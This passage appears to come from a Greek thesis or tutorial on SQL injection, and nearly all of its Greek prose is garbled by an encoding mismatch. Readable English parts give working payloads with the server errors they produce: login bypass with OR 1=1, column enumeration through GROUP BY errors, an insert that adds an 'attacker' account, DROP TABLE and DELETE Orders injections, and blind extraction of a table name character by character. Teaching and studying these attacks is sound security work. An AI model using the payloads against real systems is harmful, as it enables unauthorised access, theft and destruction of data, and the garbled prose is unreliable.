ΟR κεηαηξέπεη κία απιή ζπληζηώζα ιεηηνπξγίαο WHERE ζε κία δηπιή ζπληζηώζα θαη ην 

1=1 εγγπάηαη ηελ ηηκή απηή γηα νπνηαδήπνηε ιεηηνπξγία ρξεζηκνπνηήζεθε πξνεγνπκέλσο.΢ην 

πξνεγνύκελν παξάδεηγκα ην query εθηειεί ην εμήο: “Γηάιεμε νηηδήπνηε από ηνλ πίλαθα 

customers θαη αλ ην όλνκα είλαη ίδην κε ην username ηνπ πίλαθα,αγλόεζε νηηδήπνηε ζε απηήλ 

ηε γξακκή”. 

Παξαηεξνύκε όηη ην 1 ζα ηζνύηαη πάληα κε 1,επνκέλσο ν εμππεξεηεηήο έρεη ιάβεη ήδε έλα 

αιεζέο statement θαη ην επόκελν βήκα είλαη λα απνθαζίζεη αλ ζα δώζεη πξόζβαζε ζε απηνύο 

πνπ πξέπεη. Δπηπιένλ, ν θώδηθαο πνπ ηξέρεη γηα ην πεδίν ηνπ password πνηέ δελ ηξέρεη από 

ηνλ server θαη επνκέλσο δελ εθαξκόδεηαη. 

 

 

4.1.Μεπικά παπαδείγμαηα 

Παπάδειγμα 1
ο
: Λαμβάνονηαρ ηο όνομα μιάρ ζηήληρ από ηη βάζη δεδομένυν μέζα 

από εμθάνιζη ενόρ μηνύμαηορ λάθοςρ 

 

Θεσξνύκε όηη έρνπκε κία login form ζηελ νπνία παξέρνπκε ηα εμήο 

επηρεηξήκαηα(arguments): 

 

Username: ' having 1=1 --- 

Password: [Anything] 

 

΋ηαλ ν ρξήζηεο παηάεη ην submit button γηα λα αξρίζεη ε δηαδηθαζία ζύλδεζεο, ην sql 

αίηεκα ελεξγνπνηεί ηελ ASP λα εκθαλίζεη ην αθόινπζν κήλπκα ζηνλ browser:    

 

―Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'users.userName' 

is invalid in the select list because it is not contained in  an aggregate function and 

there is no GROUP BY clause.  /login.asp, line 16‖ 

 

Σν κήλπκα ιάζνπο ηώξα ιέεη ζηνλ κε εμνπζηνδνηεκέλν ρξήζηε ην όλνκα ηνπ                                   

ελόο πεδίνπ από ηε βάζε δεδνκέλσλ ζην νπνίν ε ζειίδα πξνζπαζεί λα επηθπξώζεη ηε      

γλεζηόηεηα ησλ ζηνηρείσλ ζύλδεζεο ζην users.username. Υξεζηκνπνηώληαο ην              

όλνκα απηνύ ηνπ πεδίνπ ν επηηηζέκελνο κπνξεί λα εθηειέζεη ηε ιεηηνπξγία LIKE ηνπ SQL 

server γηα λα απνθηήζεη πξόζβαζε κε ηα αθόινπζα πηζηνπνηεηηθά: 
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Username: ' OR users.userName LIKE 'a%' -- 

Password: [Anything] 

 

Απηό πξαγκαηνπνηεί κία SQL αίηεζε ζηνλ πίλαθα ησλ ρξεζηώλ: 

 

SELECT userName FROM users 

WHERE userName='' OR users.userName LIKE 'a%' --' and userPass='' 

 

Σo αίηεκα δηαβάδεη ην όλνκα ζην πεδίν userName ζηελ πξώηε ζεηξά ηεο νπνίαο ην όλνκα 

μεθηλάεη κε “a”. 

 

 

Παπάδειγμα 2
ο
: Γημιοςπγώνηαρ ένα νέο username και password 

Γηα λα δεκηνπξγεζεί κία λέα εγγξαθή ρξήζηε, ν επηηηζέκελνο πξέπεη λα γλσξίδεη ην όλνκα 

ηνπ πίλαθα αιιά θαη ηεο ζηήιεο πνπ ηνλ απαξηίδεη ζηε βάζε.Γη‟απηό ν ρξήζηεο ζα 

ρξεζηκνπνηήζεη ηελ αθόινπζε ηερληθή.Πξώηα ζα εηζάγεη ζην πεδίν ηνπ username κία ηηκή 

όπσο: 

 

Username: `having 1=1-- 

 

Απηό πξνθαιεί ην παξαθάησ ζθάικα: 

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC 

SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it 

is not contained in an aggregate function and there is no GROUP BY 

clause./process_login.asp, line  

 

Έηζη ν επηηηζέκελνο γλσξίδεη αθξηβώο ην όλνκα ηνπ πίλαθα αιιά θαη ηεο πξώηεο 

ζηήιεο.Απηό όκσο δελ πεξηνξίδεηαη κόλν κέρξη εδώ θαζώο είλαη ζε ζέζε λα κάζεη ηη πεξηέρεη 

ην θάζε πεδίν κηαο ζηήιεο εηζάγνληαο ηελ εληνιή `group by`,δειαδή: 

 

Username: ' group by users.id having 1=1-- 
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Σν παξαπάλσ πξνθαιεί ην αθόινπζν ιάζνο: 

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC 

SQL Server Driver][SQL Server]Column 'users.username' isinvalid in the select list 

because it is not contained in either an aggregate functionor the GROUP BY 

clause./process_login.asp, line 35 

 

Σειηθά ν επηηηζέκελνο θαηαιήγεη λα έρεη ην αθόινπζν username: 

 

' group by users.id, users.username, users.password, users.privs having 1=1—‗ 

 

ην νπνίν δελ παξάγεη θαλέλα ιάζνο θαη είλαη ιεηηνπξγηθά ίζν κε απηό: 

 

select * from users where username = '‘ 

 

Έηζη,ηώξα γλσξίδεη όηη ε αίηεζε θάλεη αλαθνξά κόλν γηα ηνλ πίλαθα “users” θαη ηηο 

ζηήιεο “id,username,password,privs” θαη‟απηή ηε ζεηξά.Γηα ηνλ ρξήζηε ζα ήηαλ αξθεηά 

ρξήζηκν αλ κπνξνύζε λα θαζνξίζεη ην είδνο θάζε ζηήιεο. 

Απηό κπνξεί λα επηηεπρζεί ρξεζηκνπνηώληαο έλα “type conversion” κήλπκα ιάζνπο όπσο 

ην παξαθάησ: 

 

Username: ' union select sum(username) from users-- 

 

Απηό εθκεηαιιεύεηαη ην γεγνλόο όηη ν SQL Server εθηειεί ηελ εληνιή „sum‟ πξηλ 

θαζνξίζεη ηνλ αξηζκό ησλ πεδίσλ ζε δύν ζεηξέο.Πξνζπαζώληαο,λα ππνινγίζεη ην sum ελόο 

πεδίνπ ην απνηέιεζκα είλαη ην αθόινπζν κήλπκα: 

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average 

aggregate operation cannot take a varchar data type as an argument. 

/process_login.asp, line 35 

 

Παξαηεξνύκε όηη ην πεδίν ηνπ username είλαη ηεο κνξθήο „varchar‟ .Δάλ από ηελ άιιε κεξηά 

πξνζπαζήζνπκε λα ππνινγίζνπκε ηελ sum() εκθαλίδεηαη έλα κήλπκα ιάζνπο ην νπνίν καο 

ιέεη όηη ν αξηζκόο ησλ πεδίσλ ζε δύν ζεηξέο δελ αληηζηνηρίδεηαη: 
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Username: ' union select sum(id) from users-- Microsoft OLE DB Provider for ODBC 

Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All 

queries in an SQLstatement containing a UNION operator must have an equal number 

ofexpressions in their target lists. /process_login.asp, line 35 

 

Μπνξνύκε λα ρξεζηκνπνηήζνπκε απηήλ ηε ηερληθή γηα λα θαζνξίζνπκε ην είδνο 

νπνηαδήπνηε ζηήιεο ελόο πίλαθα ζηε βάζε δεδνκέλσλ. 

 

Απηό επηηξέπεη ζηνλ επηηηζέκελν λα δεκηνπξγήζεη κία ζσζηά δνκεκέλε `insert` αίηεζε 

όπσο: 

 

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-- 

 

 

     Παπάδειγμα 3
ο
: Γιαγπάθονηαρ έναν πίνακα από ηη βάζη δεδομένυν 

    Πνιιέο βάζεηο δεδνκέλσλ ρξεζηκνπνηνύλ ηo εξσηεκαηηθό γηα λα νξηνζεηήζνπλ κία 

αίηεζε. Η ρξήζε ηνπ εξσηεκαηηθνύ επηηξέπεη ζε πνιιαπιέο αηηήζεηο λα θαηαρσξεζνύλ σο 

έλα κνλαδηθό ζηνηρείν θαη λα εθηειεζηνύλ δηαδνρηθά. Ο επηηηζέκελνο πηζαλόλ λα ην 

ρξεζηκνπνηήζεη γηα λα θάλεη inject ζηε βάζε δεδνκέλσλ. Γηα παξάδεηγκα: 

 

Username: ' OR 1=1; DROP TABLE users; -- 

Password: [Anything] 

 

 ΢ε απηήλ ηελ πεξίπησζε ε αίηεζε ζα εθηειεζηεί ζε δύν κέξε. Πξώηνλ, ζα επηιέμεη ην 

πεδίν username γηα όιεο ηηο ζεηξέο ζηνλ πίλαθα „users‟.Γεύηεξνλ, ζα δηαγξάςεη ηνλ πίλαθα 

„users‟.Δπνκέλσο ,όηαλ εκείο ζα πεγαίλακε ηελ επόκελε θνξά λα θάλνπκε login ζα καο 

εκθάληδε ην αθόινπζν ζθάικα: 

 

Microsoft OLE DB Provider for SQL Server (0x80040E37)Invalid object name           

'users'./login.asp, line 16 
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4.2.Δίδη επιθέζευν SQL Injection 

    Οη επηζέζεηο SQL injection ρσξίδνληαη ζε δύν είδε: 

 

     1.Πξώηνπ βαζκνύ επηζέζεηο 

2.Γεύηεξνπ βαζκνύ επηζέζεηο 

 

 

 Ππώηος βαθμού επιθέζειρ 

Οη πξώηνπ βαζκνύ επηζέζεηο είλαη εθείλεο νη επηζέζεηο ζηηο νπνίεο ν επηηηζέκελνο 

ιακβάλεη ακέζσο ην επηζπκεηό απνηέιεζκα είηε κέζα από απεπζείαο απάληεζε από ηελ 

ηζηνζειίδα/εθαξκνγή κε ηελ νπνία αιιειεπηδξά είηε δηα κέζσ θάπνηνπ άιινπ κεραληζκνύ 

όπσο e-mail. 

Γηα παξάδεηγκα, αο ππνζέζνπκε όηη κία θόξκα δεηά από ηνλ ρξήζηε λα εηζάγεη ην email 

ηνπ. Δάλ ν ρξήζηεο εηζάγεη θαλνληθά ην email ηνπ ρσξίο θαλέλα επηπιένλ θώδηθα ηόηε ε 

αίηεζε ζα ηξέμεη θαλνληθά. Άλ όκσο ππνζέζνπκε όηη ν ρξήζηεο εηζάγεη καδί κε ηελ 

ειεθηξνληθή ηνπ δηεύζπλζε θαη ηελ εληνιή `LIKE` ηόηε ε βάζε δεδνκέλσλ ζα επηζηξέςεη ηα 

ζηνηρεία πνπ αληηζηνηρνύλ ζην ρξήζηε κε ην mail απηό ακέζσο. 

 

SELECT email, passed, login_id, full_name 

FROM members 

WHERE email=‘ x‘ OR full_name LIKE ‗%Bob%‘; 

 

Δδώ ε βάζε δεδνκέλσλ επηζηξέθεη ακέζσο ηηο πιεξνθνξίεο ελόο νπνηνπδήπνηε ρξήζηε 

όπνπ ην όλνκα ηνπ μεθηλάεη κε „Bob‟.Έηζη,επεηδή ζε απηήλ ηελ πεξίπησζε ην απνηέιεζκα 

εκθαλίδεηαη ακέζσο ε επίζεζε απηή θαιείηαη πξώηνπ βαζκνύ. 

 

Γεςηέπος ηύπος επιθέζειρ 

Χο δεπηέξνπ βαζκνύ επίζεζε κπνξνύκε λα νξίζνπκε ηε δηαδηθαζία ζηελ νπνία 

θαθόβνπινο θώδηθαο εηζάγεηαη ζε κία δηαδηθηπαθή εθαξκνγή θαη δελ εθηειείηαη 

ακέζσο(απνζεθεύεηαη ζηε βάζε δεδνκέλσλ ζε κνξθή cache/log file) αιιά αλαθηάηαη 

αξγόηεξα ή εθηειείηαη από ην ζύκα. Απηνύ ηνπ είδνπο επηζέζεηο ζπρλά πξνθαινύληαη επεηδή 

ηα δεδνκέλα πνπ βξίζθνληαη ζηε βάζε δεδνκέλσλ πνιιέο θνξέο ζεσξνύληαη θαζαξά θαη όηη 

δελ πξόθεηηαη λα μαλαειερζνύλ. Χζηόζν, ηα δεδνκέλα απηά ρξεζηκνπνηνύληαη ζε queries ηα 

νπνία κπνξνύλ λα πξνθαιέζνπλ δεκηά. 
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Αο ζεσξήζνπκε όηη έρνπκε κία εθαξκνγή ε νπνία επηηξέπεη ζηνπο ρξήζηεο λα ζέηνπλ 

αγαπεκέλεο επηινγέο αλαδήηεζεο. ΋ηαλ ν ρξήζηεο νξίδεη ηηο παξακέηξνπο αλαδήηεζεο, ε 

εθαξκνγή παξαβιέπεη όιεο ηηο απνζηξόθνπο όηαλ ηα δεδνκέλα γηα ηελ αγαπεκέλε επηινγή 

εηζάγνληαη ζηε βάζε δεδνκέλσλ. Χζηόζν όηαλ ν ρξήζηεο πξαγκαηνπνηεί ηελ αλαδήηεζε, ηα 

δεδνκέλα παίξλνληαη από ηε βάζε θαη ζρεκαηίδνπλ κία δεύηεξε λέα αίηεζε(query) ε νπνία 

απνηειεί θαη ην ζύκα ηεο επίζεζεο. Γηα παξάδεηγκα αλ ν ρξήζηεο εηζάγεη ηα αθόινπζα σο 

θξηηήξηα αλαδήηεζεο: 

'; DELETE Orders;-- 

 

Η εθαξκνγή δέρεηαη ην εηζαγόκελν ζηνηρείν θαη παξαβιέπεη ηηο απνζηξόθνπο έηζη ώζηε 

ην ηειηθό SQL Statement λα κνηάδεη θάπσο έηζη: 

 

              INSERT INTO favourites (UserID, FriendlyName, Criteria) 

             VALUES(123, 'My Attack', ''';DELETE Orders;--') 

 

ην νπνίν εηζάγεηαη ζηε βάζε δεδνκέλσλ ρσξίο πξνβιήκαηα.Χζηόζν,όηαλ ν ρξήζηεο επηιέγεη 

ηα αγαπεκέλα ηνπ θξηηήξηα,ηα δεδνκέλα αλαθηώληαη από ηελ εθαξκνγή,ζρεκαηίδνπλ κία λέα 

SQL εληνιή θαη έπεηηα εθηεινύληαη. 

 

Η δεύηεξε αίηεζε ζηε βάζε δεδνκέλσλ,όηαλ έρεη πιήξσο επεθηαζεί θαίλεηαη θάπσο έηζη: 

 

                 SELECT * FROM Products 

                 WHERE ProductName = ''; DELETE Orders;-- 

 

Γελ ζα επηζηξαθεί θαλέλα απνηέιεζκα γηα ηελ αλακελόκελε αίηεζε αιιά ζα έρνπλ ραζεί όια 

ηα orders.Οη επηζέζεηο απηνύ ηνπ ηύπνπ είλαη γλσζηέο σο δεύηεξνπ ηύπνπ. 

 

4.3.Μέθοδοι ηηρ SQL Injection 

    Τπάξρνπλ δύν είδε κεζόδσλ γηα λα επηηεζεί θάπνηνο κέζσ SQL Injection.Δίλαη νη: 

1. Normal SQL Injection 

2. Blind SQL Injection 

 

Normal SQL Injection 

΢ε απηό ην είδνο επίζεζεο, όηαλ ν επηηηζέκελνο πξνζπαζεί λα εθηειέζεη έλα SQL αίηεκα, 

κεξηθέο θνξέο ν server επηζηξέθεη έλα κήλπκα ιάζνπο ζην ρξήζηε ην νπνίν πεξηγξάθεη ην 

είδνο θαη ηελ αηηία ηνπ ζθάικαηνο ιεπηνκεξώο. Με απηό ν επηηηζέκελνο πξνζπαζεί λα 
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ηαηξηάμεη ην δηθό ηνπ query κε ην query ηνπ πξνγξακκαηηζηή πνπ ην έθηηαμε 

ρξεζηκνπνηώληαο πιεξνθνξίεο νη νπνίεο βξίζθνληαη ζηα κελύκαηα ιάζνπο πνπ 

επηζηξάθεθαλ από ηε βάζε δεδνκέλσλ ηνπ server.  Πξνζαξηώληαο έλα statement έλσζεο 

ζηελ παξάκεηξν, ν επηηηζέκελνο κπνξεί λα δεη αλ έρεη ηε δπλαηόηεηα λα απνθηήζεη πξόζβαζε 

ζηε βάζε. 

Γηα παξάδεηγκα: 

 

http://example/article.asp?ID=2+union+all+select+name+from+sysobjects 

 

Έπεηηα ν SQL server επηζηξέθεη ην εμήο ζθάικα: 

  

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft] 

[ODBC SQL Server Driver] [SQL Server] All queries in the SQL statement 

containing a UNION operator  must have an equal number of expressions in their 

target lists. 

 

Απηό ιέεη ζηνλ επηηηζέκελν ηώξα όηη πξέπεη λα ππνζέζεη ην ζσζηό αξηζκό ζηειώλ γηα ηα 

δηθά ηνπ SQL statements γηα λα δνπιέςεη. 

 

 

Blind SQL Injection 

Σι είναι η Blind SQL Injection; 

΢ε πνιιέο πεξηπηώζεηο ε SQL injection θαη ε Blind SQL Injection είλαη ζρεδόλ ην ίδην.Σν 

θνηλό ηνπο ζηνηρείν είλαη όηη θαη νη δύν δηεπθνιύλνληαη από έλα θνηλό πξνγξακκαηηζηηθό 

ιάζνο:H εθαξκνγή δέρεηαη δεδνκέλα από έλαλ πειάηε(client) θαη εθηειεί SQL αηηήζεηο ρσξίο 

πξώηα λα έρεη επηθπξώζεη ην κήλπκα εηζαγσγήο ηνπ πειάηε(client‟s input).Ο επηηηζέκελνο 

ηόηε είλαη ειεύζεξνο λα εμάγεη,λα ηξνπνπνηήζεη, λα πξνζζέζεη ή θαη λα δηαγξάςεη 

πεξηερόκελν από ηε βάζε δεδνκέλσλ. ΢ε κεξηθέο πεξηπηώζεηο έρεη αθόκα ηε δπλαηόηεηα λα 

δηεηδύζεη ζηε βάζε ή θαη λα ππνθιέςεη ζηνηρεία από ην ιεηηνπξγηθό ζύζηεκα ηνπ ρξήζηε. 

Mία βαζηθή δηαθνξά κεηαμύ ησλ επηζέζεσλ βξίζθεηαη ζηε κέζνδν θαζνξηζκνύ.Οη ράθεξο 

ζπλήζσο ειέγρνπλ γηα εππάζεηα ησλ ζπζηεκάησλ ζε SQL injection εηζάγνληαο θώδηθα ζε 

θόξκα ν νπνίνο ζα πξνθαιέζεη ην server λα επηζηξέςεη κήλπκα ιάζνπο SQL αίηεζεο.Δάλ ν 

server επηζηξέςεη ζηνλ client κήλπκα ιάζνπο ηόηε ν επηηηζέκελνο ζα πξνζπαζήζεη κέζσ 

reverse engineering λα ρξεζηκνπνηήζεη ηηο πιεξνθνξίεο απηέο. 

http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
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Η ηππηθή δπθιείδα αζθαιείαο είλαη απιώο λα αζθαιίζνπκε ην ζύζηεκα έηζη ώζηε λα κελ 

εκθαλίζεη απηό ην κήλπκα ιάζνπο. Η απνπζία ζθαικάησλ ζεκαίλεη όηη ην ζύζηεκα είλαη 

πξνζηαηεπκέλν ελάληηα ζε θάζε κνξθή επίζεζεο SQL Injection. 

Από ηε ζηηγκή πνπ νη blind SQL injection  επηζέζεηο δελ έρνπλ ζρέζε κε κελύκαηα 

ιάζνπο,δελ ππάξρεη θάπνηα ζπγθεθξηκέλε ηαθηηθή ή πιεξνθνξίεο λα αλαδεηήζνπκε ζηελ 

απάληεζε ηνπ server.Αληί απηνύ ν επηηηζέκελνο ζα ςάμεη λα δεη αλ δύν αηηήζεηο κε 

δηαθνξεηηθέο παξακέηξνπο-ηηκέο ζα επηζηξέςνπλ ηελ ίδηα πιεξνθνξία.Πην ζπγθεθξηκέλα,oη 

Blind SQL Injection επηζέζεηο είλαη κία πξνζπάζεηα λα μαλαδεκηνπξγεζεί ην query θαηά 

ηέηνην ηξόπν έηζη ώζηε ην λόεκα λα παξακέλεη ην ίδην αιιά ην πεξηερόκελν δηαθέξεη. 

 

Ανισνεύονηαρ ηην εςπάθεια ενόρ ζςζηήμαηορ ζε Blind SQL Injection 

Οη δηαδηθηπαθέο εθαξκνγέο θπξίσο ρξεζηκνπνηνύλ SQL queries καδί κε ηα εηζαγόκελα 

ζηνηρεία από ηνλ client ζηελ εληνιή WHERE γηα λα αλαθηήζνπλ δεδνκέλα από κία βάζε 

δεδνκέλσλ. Πξνζζέηνληαο επηπιένλ ζπλζήθεο ζε έλα SQL statement θαη αμηνινγώληαο απηό 

πνπ εμάγεη ε εθαξκνγή, κπνξνύκε λα θαζνξίζνπκε εάλ ε δηαδηθηπαθή εθαξκνγή είλαη 

εππαζήο ζε απηνύ ηνπ είδνπο επίζεζε. 

Γηα παξάδεηγκα πνιιέο εηαηξίεο επηηξέπνπλ πξόζβαζε κέζσ ίληεξλεη ζε αξρεία ηύπνπ. 

Έλα URL ζην νπνίν έρνπκε πξόζβαζε ζην πέκπην αξρείν ζα κνηάδεη θάπσο έηζη: 

 

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 

 

Σν SQL statement πνπ ζα ρξεζηκνπνηήζεη ε ηζηνζειίδα γηα λα αλαθηήζεη ην αξρείν ηύπνπ 

ζα είλαη ηεο εμήο κνξθήο: 

SELECT title, description, releaseDate, body FROM pressReleases 

WHERE pressReleaseID = 5 

Έπεηηα ν server απαληάεη επηζηξέθνληαο δεδνκέλα γηα ην πέκπην αξρείν. Η ηζηνζειίδα 

κεηά ζα πξνζαξκόζεη ηα δεδνκέλα ζε html κνξθή θαη ζα ζηείιεη ηελ απάληεζε ζηνλ client. 

     Γηα λα δνύκε εάλ κία ηζηνζειίδα είλαη εππαζήο,ζα δνθηκάζνπκε λα θάλνπκε inject κία 

επηπιένλ αιεζή ζπλζήθε κέζα ζηελ εληνιή WHERE.Γηα παξάδεηγκα εάλ δεηήζνπκε ην 

URL:http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND 1=1 

 

Αλ ν server εθηειέζεη ην αθόινπζν query: 

 

SELECT title, description, releaseDate, body FROM pressReleases WHERE 

pressReleaseID = 5 AND 1=1 

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5
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θαη αλ απηό ην query επηζηξέςεη ην ίδην αξρείν ηύπνπ πνπ αλακέλακε,ηόηε ε ηζηνζειίδα είλαη 

εππαζήο ζε blind SQL injection.Μέξνο ησλ εηζαγνκέλσλ πιεξνθνξηώλ ηνπ ρξήζηε 

εξκελεύηεθαλ σο SQL θώδηθαο. 

Μία αζθαιήο ηζηνζειίδα ζα απέηξεπε απηή ηελ αίηεζε δηόηη ν server ζα κεηαρεηξηδόηαλ 

ην input ηνπ ρξήζηε σο ηηκή θαη ε ηηκή “5 AND 1=1” ζα πξνθαινύζε ιάζνο αλαληηζηνηρίαο. 

Έηζη, δελ ζα εκθάληδε θακία ζειίδα πνπ λα πεξηιακβάλεη αξρείν ηύπνπ. 

Μία άιιε κέζνδνο γηα λα ειέγμνπκε γηα εππάζεηα ηέηνηνπ ηύπνπ επηζέζεσλ είλαη λα 

αιιάμνπκε ηα καζεκαηηθά ζηνηρεία ηεο παξακέηξνπ.Γηα παξάδεηγκα αληί λα θαηαρσξήζνπκε 

ην 5 σο ηηκή ηνπ PressReleaseID, έλαο επηηηζέκελνο ζα κπνξνύζε λα θαηαρσξήζεη ην 

3%2b3,ην νπνίν ζα ήηαλ ίζν κε 3+2 εάλ ε κεηαβιεηή ηεο ζεηξάο(raw string) είρε πεξαζηεί 

ζηε βάζε δεδνκέλσλ θαηά ιέμε.H βάζε δεδνκέλσλ ζα επίιπε ηελ αίηεζε δηόηη πξέπεη λα ηε 

κεηαηξέςεη έρνληαο κία ζσζηή ζύληαμε.Δάλ ην ίδην αξρείν ηύπνπ(press release) 

επηζηξαθεί,ηόηε ε ηζηνζειίδα είλαη εππαζήο ζε blind SQL injection. 

Δίλαη επίζεο ζεκαληηθό λα θάλνπκε γλσζηό όηη όηαλ εηζάγνπκε “1=1” δελ ζεκαίλεη 

απαξαίηεηα όηη απηό νθείιεηαη ζε θάπνην θελό αζθάιεηαο ηεο ηζηνζειίδαο.Απηό κπνξνύκε 

λα ην ειέγμνπκε εηζάγνληαο κία άιιε ζπλζήθε κε αιεζή όπσο “1=2” σο SQL αίηεζε.Έαλ ηα 

απνηειέζκαηα γηα θάζε αίηεζε πνπ επηζηξέθνληαη είλαη ίδηα, απηό ζεκαίλεη όηη απεηιή ηύπνπ 

SQL Injection δελ απνδεηθλύεηαη λα ππάξρεη. 

 

Δκμεηαλλεύονηαρ ηην εςπάθεια 

΋ηαλ ειέγρνπκε γηα εππάζεηα ζηελ επίζεζε blind SQL injection,ε ζπλζήθε WHERE είλαη 

πιήξσο πξνβιέςηκε: 1=1 είλαη πάληα αιεζέο.Χζηόζν όηαλ εκείο πξνζπαζνύκε λα 

εθκεηαιιεπηνύκε απηήλ ηελ εππάζεηα, δελ γλσξίδνπκε εάλ ε δειεηεξηαζκέλε ζπλζήθε 

WHERE είλαη αιεζήο ή ςεπδήο πξηλ ηε ζηείινπκε.Δάλ κία εγγξαθή επηζηξαθεί ηόηε ε 

δειεηεξηαζκέλε ζπλζήθε πξέπεη λα είλαη αιεζήο.Δκείο κπνξνύκε ηαπηόρξνλα λα θάλνπκε 

«εξσηήζεηο» ζηνλ server ηεο βάζεο δεδνκέλσλ αιεζείο ή ςεπδείο.Γηα παξάδεηγκα ε 

παξαθάησ αίηεζε ζηέιλεη εξώηεκα ζην server,”Δίλαη ν ζπγθεθξηκέλνο ρξήζηεο 

dbo(δηαρεηξηζηήο);” 

 

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND 

USER_NAME() = 'dbo' 

 

Η ζπλζήθε USER_NAME είλαη κία ιεηηνπξγία ηνπ SQL Server ε νπνία επηζηξέθεη ην 

όλνκα ηνπ ζπγθεθξηκέλνπ ρξήζηε.Δάλ ν ζπγθεθξηκέλνο ρξήζηεο είλαη ν δηαρεηξηζηήο,ην 

πέκπην αξρείν ηύπνπ ζα επηζηξαθεί.Δάλ όρη,ε αίηεζε ζα απνηύρεη θαη θαλέλα αξρείν ηύπνπ 

δελ ζα εκθαληζηεί.΢πλδπάδνληαο subqueries θαη functions κπνξνύκε λα ζέζνπκε πνιύ πην 
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πνιύπινθεο εξσηήζεηο.΢ην αθόινπζν παξάδεηγκα πξνζπαζνύκε λα αλαθηήζνπκε ην όλνκα 

ελόο πίλαθα ηεο βάζεο θαη ελόο ραξαθηήξα ηε θνξά. 

 

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND 

ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERExtype='U'), 1, 

1))) > 109 

 

Η ζπλζήθε SELECT ξσηάεη γηα ην όλνκα ηνπ πξώηνπ ρξήζηε ζηνλ πίλαθα ζηε βάζε 

δεδνκέλσλ (ην νπνίν ηππηθά είλαη ην πξώην πξάγκα πνπ θάλνπκε ζε επίζεζε SQL injection). 

Η ιεηηνπξγία substring() ζα επηζηξέςεη ηνλ πξώην ραξαθηήξα ηνπ απνηειέζκαηνο ηεο 

αίηεζεο.Από ηελ άιιε,ε ιεηπηνπξγία lower() ζα κεηαηξέςεη απηόλ ην ραξαθηήξα ζε άιιν 

είδνο θαη ηέινο ε ascii() ζα επηζηξέςεη ηελ ASCII ηηκή ηνπ ραξαθηήξα απηνύ. 

Δάλ ν server επηζηξέςεη ην πέκπην αξρείν ηύπνπ σο απάληεζε ζε απηό ην URL,ηόηε ζα 

γλσξίδνπκε όηη ην πξώην γξάκκα ηνπ απνηειέζκαηνο ηεο αίηεζεο μεθηλάεη κε “m” (ΑSCII 

ραξαθηήξαο 109).Έπεηηα, θάλνληαο πνιιαπιέο αηηήζεηο κπνξνύκε λα θαζνξίζνπκε ηελ 

αθξηβή ASCII ηηκή. 

 

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND 

ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERExtype='U'), 1, 

1))) > 116  

 

Δάλ θαλέλαλ αξρείν ηύπνπ δελ επηζηξαθεί,ηόηε ε ASCII ηηκή ζα είλαη κεγαιύηεξε από 

109 αιιά όρη κεγαιύηεξε από 116.Έηζη,ην γξάκκα ζα είλαη κεηαμύ ηνπ “n”(110) θαη ηνπ 

“t”(116). 

 

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND 

ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERExtype='U'), 1, 

1))) > 113 

 

Μία αθόκε ιάζνο δήισζε(statement).Σώξα γλσξίδνπκε όηη ην γξάκκα είλαη κεηαμύ 110 

θαη 113. 

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND 

ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERExtype='U'), 1, 

1))) > 111 

 

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5
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Ξαλά ιάζνο. Σν εύξνο επνκέλσο πεξηνξίδεηαη ζε  δύν γξάκκαηα ην „n‟ θαη ην „ν‟(110 θαη 

111). 

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND 

ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERExtype='U'), 1, 

1))) = 111 

 

Ο server επηζηξέθεη ην αξρείν ηύπνπ θαη έηζη ε δήισζε είλαη αιεζήο!To πξώην γξάκκα 

ηνπ απνηειέζκαηνο ηεο αίηεζεο(άξα θαη ην όλνκα ηνπ πίλαθα) είλαη „ν‟.Γηα λα αλαθηήζνπκε 

ην δεύηεξν γξάκκα, επαλαιακβάλνπκε ηελ ίδηα δηαδηθαζία αιιά αιιάδνπκε ηε δεύηεξε 

κεηαβιεηή ζην substring() έηζη ώζηε ν επόκελνο ραξαθηήξαο ηνπ απνηειέζκαηνο λα 

εκθαληζηεί σο εμήο: 

 

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND 

ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERExtype='U'), 2, 

1))) > 109 

 

Δπαλαιακβάλνπκε ηε δηαδηθαζία κέρξηο όηνπ όιν ην string λα εθηειεζηεί. ΢ε απηήλ ηελ 

πεξίπησζε ην απνηέιεζκα είλαη ην „orders‟. 
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5.Καηηγοπίερ επιθέζευν SQL Injection 
Τπάξρνπλ ηέζζεξηο θύξηεο θαηεγνξίεο επηζέζεσλ ζε βάζεηο δεδνκέλσλ.Απηέο είλαη νη 

εμήο: 

 SQL Manipulation 

 Code Injection 

 Function Call Injection 

 Buffer Overflows 

 

5.1.SQL Manipulation 

Απηόο ν ηύπνο επίζεζεο είλαη ν πην δεκνθηιήο από ηηο ηέζζεξηο. Ο επηηηζέκελνο πξνζπαζεί 

λα ηξνπνπνηήζεη ηελ παξνύζα SQL αίηεζε πξνζζέηνληαο ζηνηρεία ζηελ εληνιή WHERE ή 

επεθηείλνληαο ηελ αίηεζε ρξεζηκνπνηώληαο δείθηεο όπσο UNION,INTERSECT ή 

MINUS.Τπάξρνπλ θαη επηπιένλ παξαιιαγέο αιιά απηέο απνηεινύλ ηα πην ζεκαληηθά 

παξαδείγκαηα. 

